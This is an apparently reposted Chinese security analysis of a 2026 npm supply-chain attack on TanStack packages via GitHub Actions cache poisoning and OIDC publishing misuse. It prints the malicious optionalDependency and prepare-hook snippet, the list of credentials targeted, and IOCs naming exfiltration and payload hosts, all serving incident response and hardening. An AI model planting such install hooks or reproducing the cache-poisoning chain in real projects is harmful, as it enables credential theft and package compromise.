前端核心生态TanStack被投毒:攻击者没有偷npm账号,却借官方CI发了84个恶意版本

admin 2026-05-14 13:50:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 2026年5月11日,攻击者通过污染GitHubActions缓存、利用pull_request_target工作流执行恶意代码,并借助OIDC可信发布机制,从TanStack官方CI发布了42个@tanstack/*包的84个恶意版本。该事件并非npm账号被盗,而是前端基础设施发布链路被绕过,恶意包通过git依赖执行脚本,旨在窃取开发环境与CI/CD中的各类敏感凭据,具备供应链蠕虫传播能力。 综合评分: 90 文章分类: 供应链安全,漏洞分析,安全运营,web安全


cover_image

前端核心生态 TanStack 被投毒:攻击者没有偷 npm 账号,却借官方 CI 发了 84 个恶意版本

原创

XueMian XueMian

雪面科技

2026年5月12日 19:40 澳大利亚

在小说阅读器读本章

去阅读

前端核心生态 TanStack 被投毒

攻击者没有偷 npm 账号,却借官方 CI 发了 84 个恶意版本

摘要: TanStack 不是一个边缘 npm 包集合。它覆盖 Query、Table、Router、Start、Virtual 等项目,长期处在 React、Vue、Solid 等前端应用的关键依赖层。2026 年 5 月 11 日,攻击者借 GitHub Actions 缓存污染和 OIDC trusted publishing,从 TanStack 官方 CI 发布了 42 个 @tanstack/* 包的 84 个恶意版本。这次事件的重点不只是 npm 包被投毒,而是一个前端基础设施级项目的发布链路被绕过了信任边界。

npm 供应链攻击并不新鲜。typo-squatting、维护者账号钓鱼、postinstall 脚本偷 .env,这些打法这几年已经见过很多次。

但 2026 年 5 月 11 日的 TanStack 事件不太一样。攻击者没有长期控制 npm 账号,也没有把恶意代码合进 TanStack 主仓库源码。他们绕了一圈,把 GitHub Actions 的 PR 工作流、缓存机制和 npm OIDC trusted publishing 串到了一起。

这条链路大致是这样:先用一个看似普通的 fork PR 触发目标仓库的工作流,再污染后续 release workflow 会恢复的 pnpm 缓存;等正式发布流程运行时,恶意代码从官方 CI runner 里拿到短期 OIDC 发布身份,最后用 TanStack 的合法发布通道把恶意版本推到 npm。

麻烦就在这里。从 npm 的视角看,发布来源是可信的;从一些自动化扫描工具的视角看,包甚至可能带着 provenance。但实际执行环境已经被污染,来源可信并不等于产物可信。

本文时间均以 UTC 为准。事件核心窗口是 2026-05-11 19:20 到 19:26 UTC

先把性质说清楚:这不是 npm 账号被盗

根据 TanStack 官方复盘,攻击者在 2026 年 5 月 11 日 19:20 至 19:26 UTC 之间,向 npm 发布了 42 个 @tanstack/* 包的 84 个恶意版本。多数包被连续发布了两个恶意版本。

受影响的主要是 TanStack Router / Start 相关包,例如:

  • @tanstack/history
  • @tanstack/react-router
  • @tanstack/router-core
  • @tanstack/router-plugin
  • @tanstack/router-vite-plugin
  • @tanstack/react-start
  • @tanstack/vue-router
  • @tanstack/solid-router
  • @tanstack/start-*
  • @tanstack/*-adapter

TanStack 同时确认,下面这些包家族没有受到这次投毒影响:

  • @tanstack/query*

  • @tanstack/table*

  • @tanstack/form*

  • @tanstack/virtual*

  • @tanstack/store

  • @tanstack/start

    这个 meta-package 本身

这里要和之前那个 unscoped tanstack 仿冒包区分开。那个包不在 TanStack 官方组织的 @tanstack scope 下,属于品牌碰瓷;这次则是官方 scope 下的真实包被发布了恶意版本,严重程度完全不同。

GitHub Security Advisory 已将该事件标为 Critical,CVE 编号为 CVE-2026-45321,CVSS 评分 9.6

恶意包里改了什么

这批恶意版本留下了几个容易识别的指纹。

首先,package.json 里被加入了一个新的 optionalDependencies

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

这个 @tanstack/setup 不是 npm registry 上的正常包,而是一个 GitHub git dependency,指向 tanstack/router fork network 里的 orphan commit。

npm 安装 Git dependency 时,会执行依赖里的生命周期脚本。这个 Git dependency 的 package.json 里写着:

"scripts": {
  "prepare": "bun run tanstack_runner.js && exit 1"
}

也就是说,只要有人安装受影响版本:

npm install
pnpm install
yarn install

包管理器就会解析这个 optional dependency,拉取 GitHub 上的 payload commit,执行 prepare,然后运行恶意代码。

末尾的 && exit 1 也不是随手写的。因为这是 optional dependency,即使最后失败,包管理器也可能把它当成“可选依赖安装失败”处理。恶意代码已经执行完了,安装现场却只留下一个容易被忽略的失败。

另一个指纹是 tarball 根目录里多了一个约 2.3 MB 的混淆文件:

router_init.js

这个文件不属于正常包内容,也没有出现在包声明的 files 列表中。安全厂商的分析显示,它使用了典型 JavaScript obfuscator 风格:字符串数组轮转、十六进制标识符、控制流平坦化、死代码注入。换句话说,它不是给人读的。

从公开分析看,它至少做了三类事情:

  1. 在开发机或 CI runner 上搜集凭据
  2. 通过 Session/Oxen 相关网络外传数据
  3. 利用拿到的 npm、GitHub、OIDC 能力继续污染更多包

更准确地说,这不是单纯的 infostealer,而是带传播能力的供应链蠕虫。

它想拿什么

结合 TanStack 官方公告、GitHub Advisory、Socket 和 Aikido 的分析,payload 明显是冲着现代开发环境和 CI/CD 去的。目标包括:

  • GitHub token、PAT、Actions 环境变量
  • npm token 和发布权限
  • GitHub Actions OIDC token
  • AWS 环境变量、IMDS、Secrets Manager、SSM
  • GCP metadata
  • Kubernetes service account token
  • HashiCorp Vault token 和集群内 Vault endpoint
  • SSH 私钥
  • 本地环境变量和常见凭据文件
  • 开发工具目录,例如 .claude/.vscode/

这不是只偷项目 .env 的脚本。它盯上的是发布权、云侧权限和横向移动能力。

很多 CI runner 上本来就会出现这些东西:

  • npm 发布权限
  • GitHub repository token
  • cloud deploy key
  • Kubernetes token
  • Vault token
  • production deploy secret

前端依赖只是入口,CI/CD 才是攻击者真正想进的地方。

时间线:一个 PR 怎么变成 npm 投毒

下面按公开信息整理关键节点。

2026-05-10:准备 fork 和恶意提交

攻击者创建了 TanStack/router 的 fork,并把 fork 改名为 configuration,降低它被普通 fork 搜索发现的概率。

随后攻击者在 fork 里制造恶意 commit,加入一个约 30000 行的 JS payload 文件:

packages/history/vite_setup.mjs

提交作者伪装成:

claude <[email protected]>

这里的 claude 不是 Anthropic 的 Claude,只是攻击者伪造的提交身份。现在很多仓库里都会出现 AI coding agent 的提交,这种伪装容易混进日常噪音。

2026-05-11 10:49:恶意 PR 打开

攻击者打开 PR,标题类似:

WIP: simplify history build

这个 PR 触发了 TanStack/router 的部分 pull_request_target 工作流,例如 bundle-size.yml 和 labeler.yml

问题从这里开始。pull_request_target 运行在目标仓库上下文里,本来适合做评论、打标签这类不需要执行 PR 代码的事情。一旦它 checkout 并执行 fork PR 里的代码,就进入了 GitHub Security Lab 很早就提醒过的 “Pwn Request” 场景。

2026-05-11 11:11:恶意代码在 PR 工作流里执行

攻击者多次 force push,把恶意 commit 放到 PR head。bundle-size.yml 的 benchmark job checkout 了 PR merge ref,然后运行:

pnpm install
pnpm nx run @benchmarks/bundle-size:build

这一步执行了攻击者控制的构建逻辑。

有人可能会问:如果这个 job 权限是 read-only,没有 secrets,能造成多大影响?

关键在 Actions cache。缓存保存和恢复不只受 GITHUB_TOKEN 权限影响,还涉及 runner runtime token 和 GitHub 的 cache 服务机制。一个看似低权限的 PR job,仍然可能污染 base repo 作用域下后续 workflow 会恢复的缓存。

2026-05-11 11:29:GitHub Actions 缓存被污染

恶意代码把内容写进 pnpm store,并命中了 release workflow 后面会用到的缓存 key:

Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11

PR job 结束时,Actions cache 保存了这个被污染的 pnpm store。缓存作用域是 refs/heads/main,也就是未来主分支 workflow 可以恢复到。

这一步很隐蔽:PR 可以关掉,branch 可以删掉,恶意 diff 也可以消失,但缓存还在。

攻击者随后把 PR force push 回无改动状态,关闭 PR,并删除分支。表面上看,这只是一个 0-file no-op PR;实际上发布链路里已经埋下了会被恢复的恶意内容。

2026-05-11 19:15:正常 PR 合并,release workflow 触发

TanStack 维护者合并了一个正常 PR,主分支 push 触发 release.yml

release workflow 恢复了之前被污染的 pnpm store。恶意代码从“不可信 PR 工作流”横向移动到了“正式发布工作流”。

这也是 GitHub Actions cache poisoning 最危险的点:它让攻击者跨过了原本应该隔离的工作流边界。

2026-05-11 19:20:第一批恶意版本发布

npm registry 开始收到 @tanstack/[email protected] 等包的发布请求。

这些请求通过了 TanStack/router 的 GitHub Actions OIDC trusted-publisher 绑定认证,但不是来自 workflow 文件里原本定义的发布步骤。TanStack 官方复盘提到,真正的发布发生在测试/清理阶段运行的恶意代码里。

恶意代码利用 workflow 的:

permissions:
&nbsp;&nbsp;id-token:&nbsp;write

从 GitHub Actions runner 进程内存中提取 OIDC token,然后直接向 npm registry 发 POST 请求完成发布。

换句话说:

  • npm 长期 token 没有被偷
  • npm maintainer 账号没有直接失陷
  • release workflow 文件本身没有被攻击者改掉
  • 攻击者仍然用官方 CI 身份发布了恶意 npm 包

这是这次事件最值得关注的地方。

2026-05-11 19:26:第二批恶意版本发布

第二个主分支 push 触发了另一个 release workflow,同样恢复了被污染缓存,发布第二批恶意版本。最终影响面扩大到 42 个包、84 个版本。

2026-05-11 19:50 之后:外部研究员发现并报告

外部研究员很快在 GitHub issue 中公开报告异常,Socket、StepSecurity 等安全团队也参与确认。TanStack 维护者随后开始响应:

  • 废弃受影响 npm 版本
  • 联系 npm security 拉取恶意 tarball
  • 清理 GitHub Actions cache
  • 收回或限制团队 push 权限
  • 重构问题 workflow
  • 增加 repository owner guard
  • 固定第三方 action 引用到 SHA
  • 发布 GitHub Security Advisory

    从公开时间线看,社区发现和项目响应都很快。但恶意版本在窗口期内已经可被安装。只要某台开发机或 CI runner 执行过受影响版本的 install,就应该按凭据暴露处理。同时。。。这也是我看过最多involved package的advisory 🤔

根因:三个机制单独看都常见,串起来就出事

这不是一个单点漏洞,而是几个信任假设叠在一起后崩了。

1. pull_request_target 执行了不可信 PR 代码

pull_request_target 的特殊之处在于,它运行在目标仓库上下文里,可以拥有比普通 fork PR 更高的权限。

它适合做:

  • 给 PR 打标签
  • 评论 PR
  • 根据 metadata 做轻量处理

它不适合做:

  • checkout fork PR 代码
  • npm install
  • pnpm install
  • 执行 build/test
  • 运行任何来自 PR 的脚本

原因很简单:PR 作者可以控制 package.json、构建脚本、测试文件和依赖声明。只要 workflow 执行这些内容,就等于允许 PR 作者在 runner 上运行代码。

GitHub Security Lab 早在 2021 年就专门写过 “Preventing pwn requests”,核心建议就是不要在 pull_request_target 里 checkout 并执行不可信 PR 内容。

2. GitHub Actions cache 跨越了信任边界

Actions cache 的设计目标是加速构建,不是做安全隔离。

在这次事件里,攻击者利用 PR job 写入缓存,正式 release workflow 后续恢复同一个缓存。缓存成了两个信任域之间的暗道。

Adnan Khan 在 2024 年关于 GitHub Actions cache poisoning 的研究里就指出过类似风险:如果不可信上下文能写缓存,而高权限 workflow 后续会恢复缓存,攻击者就有机会通过缓存横向移动。

TanStack 这次事件就是一个现实案例。

3. OIDC trusted publishing 被运行时劫持

OIDC trusted publishing 的价值很明确:减少长期 npm token 暴露。它通常比把 NPM_TOKEN 塞进 GitHub Secrets 里安全。

但它依赖一个前提:workflow 运行环境是干净的。

如果攻击者已经能在 runner 上执行代码,而该 workflow 又有 id-token: write,攻击者就可能获取或滥用 OIDC token,向 npm 换取短期发布能力。

这次事件说明,provenance 能证明包来自某个 workflow,却不能证明这个 workflow 运行时没有被污染。

所以不要把 provenance badge 当作“包一定干净”的证明。它是来源证明,不是安全证明。

IOC:怎么查自己有没有中招

如果你在 2026-05-11 19:20 到 19:30 UTC 附近安装过 TanStack Router/Start 相关依赖,建议立刻排查。

检查 lockfile

先搜这些指纹:

rg&nbsp;"github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"&nbsp;.
rg&nbsp;"@tanstack/setup"&nbsp;.
rg&nbsp;"router_init.js"&nbsp;.
rg&nbsp;"tanstack_runner.js"&nbsp;.
rg&nbsp;"router_runtime.js"&nbsp;.

如果命中,先不要继续 npm install。把当前环境当成已经执行过恶意脚本处理。

安全下载 tarball 检查

如果要检查某个具体版本,不要直接 install,可以用 npm pack

npm pack @tanstack/[email protected]
tar -xzf tanstack-react-router-1.169.5.tgz
grep -A3 optionalDependencies package/package.json
ls&nbsp;-la package/router_init.js

npm pack 只是下载 tarball,不会执行生命周期脚本,适合做离线分析。

关键 IOC

恶意 Git ref:
github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c

伪造依赖名:
@tanstack/setup

恶意文件:
router_init.js
router_runtime.js
tanstack_runner.js

router_init.js SHA-256:
ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c

tanstack_runner.js SHA-256:
2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96

可疑缓存 key:
Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11

可疑外联:
filev2.getsession.org
seed1.getsession.org
seed2.getsession.org
seed3.getsession.org
litter.catbox.moe/h8nc9u.js
litter.catbox.moe/7rrc6l.mjs

伪造提交身份:
claude <[email protected]>

攻击相关账号:
zblgg
voicproducoes

需要重点审计的地方

如果确认中招,不要只删 node_modules。这类 payload 的目标是凭据和持久化,至少要检查:

  • ~/.npmrc
  • GitHub PAT 和 gh CLI 登录状态
  • .git-credentials
  • ~/.ssh/
  • .claude/
  • .vscode/tasks.json
  • CI/CD job logs
  • npm publish logs
  • GitHub Actions OIDC token 请求
  • 云厂商 audit logs
  • Kubernetes service account 使用记录
  • Vault audit logs

只要恶意 install 在某台机器或 runner 上跑过,那台环境能读到的 secrets 都要按泄露处理。

应急处置建议

如果确认安装过受影响版本,可以按下面顺序处理。

1. 立刻升级到 patched versions

根据 GitHub Security Advisory 中列出的 patched versions 升级受影响包。不要继续使用 2026-05-11 19:20 到 19:26 UTC 发布的那批版本。

建议在干净环境里删除现有依赖和 lockfile 后重新安装:

rm&nbsp;-rf node_modules
rm&nbsp;-f package-lock.json pnpm-lock.yaml yarn.lock
npm install

生产项目不要盲删 lockfile 后直接上线。更合适的做法是在干净环境重建、review diff,再走正常发布流程。

2. 轮换所有可能暴露的凭据

建议优先处理:

  1. npm token 和 package publish 权限
  2. GitHub PAT、GitHub App token、Actions secrets
  3. AWS / GCP / Azure 凭据
  4. Kubernetes service account token
  5. Vault token
  6. SSH key
  7. 部署系统和内部平台 token

不要只轮换 npm token。攻击者真正需要的是横向移动能力。

3. 清理 CI runner 和开发机

如果是 GitHub-hosted runner,runner 生命周期结束后会销毁,但 secrets 仍然需要轮换。

如果是 self-hosted runner,要按主机失陷处理:

  • 下线 runner
  • 保存必要取证信息
  • 重装或回滚到可信镜像
  • 重新注册 runner
  • 检查 runner workspace 和 cache 目录

开发机侧则重点查 .claude/.vscode/、shell profile、npm cache、全局 npm 包。

4. 审计发布链路

检查最近是否有异常 npm publish:

  • 不是团队成员触发的版本
  • 不符合 release 节奏的版本
  • provenance 指向异常 workflow run
  • workflow 在测试失败或发布步骤跳过时仍出现 npm publish
  • 包里出现 optionalDependencies 指向 GitHub commit

这次事件容易误判的地方是“看起来确实由官方 workflow 发布”。所以审计时不能只看发布身份,还要看发布发生在 workflow 的哪个阶段。

对开源维护者的启示

不要在 pull_request_target 里跑不可信代码

这是第一条,也是最该优先修的地方。

如果需要构建 fork PR:

  • 用 pull_request
  • 不给 secrets
  • 不给写权限
  • 不共享高权限缓存

如果需要评论结果:

  • 低权限 workflow 只产出 artifact
  • 高权限 workflow_run 只读取经过严格约束的数据
  • 不在高权限 workflow 里执行 artifact 中的二进制或脚本

发布 workflow 的缓存要单独隔离

发布流程不应该恢复任何可由 fork PR 或低信任 workflow 写入的缓存。

可行策略包括:

  • release workflow 禁用依赖缓存
  • release 使用只读、预热、签名校验过的缓存
  • 缓存 key 加入可信上下文标识
  • PR workflow 和 release workflow 使用不同 cache namespace
  • 定期清理 Actions cache

缓存是性能优化,不是信任根。不要让几分钟构建加速变成发布链路风险。

OIDC 权限按 job 精确授予

不要在整个 workflow 顶层随手写:

permissions:
&nbsp;&nbsp;id-token:&nbsp;write

更合理的默认值是:

permissions:
&nbsp;&nbsp;contents:&nbsp;read
&nbsp;&nbsp;id-token:&nbsp;none

然后只在真正发布的 job 里开启:

jobs:
&nbsp;&nbsp;publish:
&nbsp; &nbsp;&nbsp;permissions:
&nbsp; &nbsp; &nbsp;&nbsp;contents:&nbsp;read
&nbsp; &nbsp; &nbsp;&nbsp;id-token:&nbsp;write

同时要确保 publish job 不执行来自不可信缓存、不可信 artifact、不可信依赖生命周期脚本的代码。

固定第三方 action 到 SHA

uses: owner/action@main 方便,但不适合关键发布链路。敏感 workflow 至少应该固定到 commit SHA:

uses:&nbsp;actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332

版本 tag 比 @main 好,但 tag 仍可能被移动。真正敏感的发布流程,SHA pinning 更可靠。

provenance 不能单独当结论

这次事件已经说明:如果攻击者控制了 workflow 运行时,恶意包也可以拥有看似合理的来源记录。

自动化策略应该同时看:

  • provenance
  • tarball diff
  • install scripts
  • 新增 Git dependency
  • 新增大体积混淆文件
  • publish workflow step 是否符合预期
  • 发布版本是否符合维护者行为模式

单一信号都不够。

对普通开发团队的提醒

TanStack 事件还有一个很现实的提醒:依赖安装不是低风险动作。

很多团队会在 CI 里直接:

npm install
npm&nbsp;test
npm run build

但在 npm 生态里,install 阶段本身就可能执行代码:

  • preinstall
  • install
  • postinstall
  • Git dependency 的 prepare

所以依赖安装应该被视为代码执行边界,而不是普通下载。

一些可操作的防御措施:

  • CI 中尽量使用 lockfile 和 npm ci
  • 对新增依赖做 review
  • 对 Git dependency 做强约束
  • 高风险窗口期可设置 npm config set ignore-scripts true
  • 对 package install 做 egress 限制
  • 使用私有 registry / proxy 做延迟和审查
  • 对新发布版本设置冷却期,避免第一时间拉取刚发布的版本
  • 构建阶段使用最小权限云凭据

尤其不要让“安装依赖”的 job 拥有生产部署权限。安装依赖和发布部署最好拆成不同 job,不共享不必要的 secrets。

为什么这类事还会发生

现代软件供应链的默认假设越来越多,也越来越隐蔽。

我们依赖自动化:

  • bot 自动跑测试
  • CI 自动构建
  • cache 自动恢复
  • OIDC 自动发 token
  • npm 自动发布
  • provenance 自动生成

每个机制单独看都合理,但组合起来会形成复杂的隐式信任链。攻击者现在不只研究代码漏洞,也在研究发布流程、缓存边界和身份交换路径。

以前很多供应链攻击是“偷到钥匙再开门”。TanStack 这次更像是让门禁系统自己给攻击者发了一张临时通行证。

这也是它值得复盘的原因:它不只是一次前端包事故,更是一次 CI/CD 信任边界事故。

结语

TanStack 这次被投毒,表面上是 42 个 npm 包、84 个恶意版本;往深处看,是现代开源发布体系的一次压力测试。

攻击者没有简单偷 npm token,没有直接控制 maintainer 账号,也没有把恶意代码合进主仓库。他利用的是:

  • pull_request_target

    对 fork PR 的危险误用

  • GitHub Actions cache 在信任边界之间的共享

  • release workflow 对缓存的信任

  • OIDC trusted publishing 对运行时完整性的默认假设

这条链路提醒我们,CI/CD 已经是供应链安全的核心攻击面。

以后判断一个包是否可信,不能只看它是不是官方 scope、是不是有 provenance、是不是从 GitHub Actions 发布。还要多问一句:这个发布 workflow 的运行环境,真的干净吗?

参考资料

  • TanStack 官方复盘:Postmortem: TanStack npm supply-chain compromise
  • GitHub Security Advisory:GHSA-g7cv-rxg3-hmpx
  • Socket 分析:TanStack npm Packages Compromised in Ongoing Mini Shai-Hulud Supply-Chain Attack
  • Aikido 分析:Mini Shai-Hulud Is Back: npm Worm Hits over 160 Packages, including Mistral and Tanstack
  • GitHub Security Lab:Preventing pwn requests
  • Adnan Khan:The Monsters in Your Build Cache – GitHub Actions Cache Poisoning

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:雪面科技 XueMian XueMian《前端核心生态 TanStack 被投毒:攻击者没有偷 npm 账号,却借官方 CI 发了 84 个恶意版本》

评论:0   参与:  0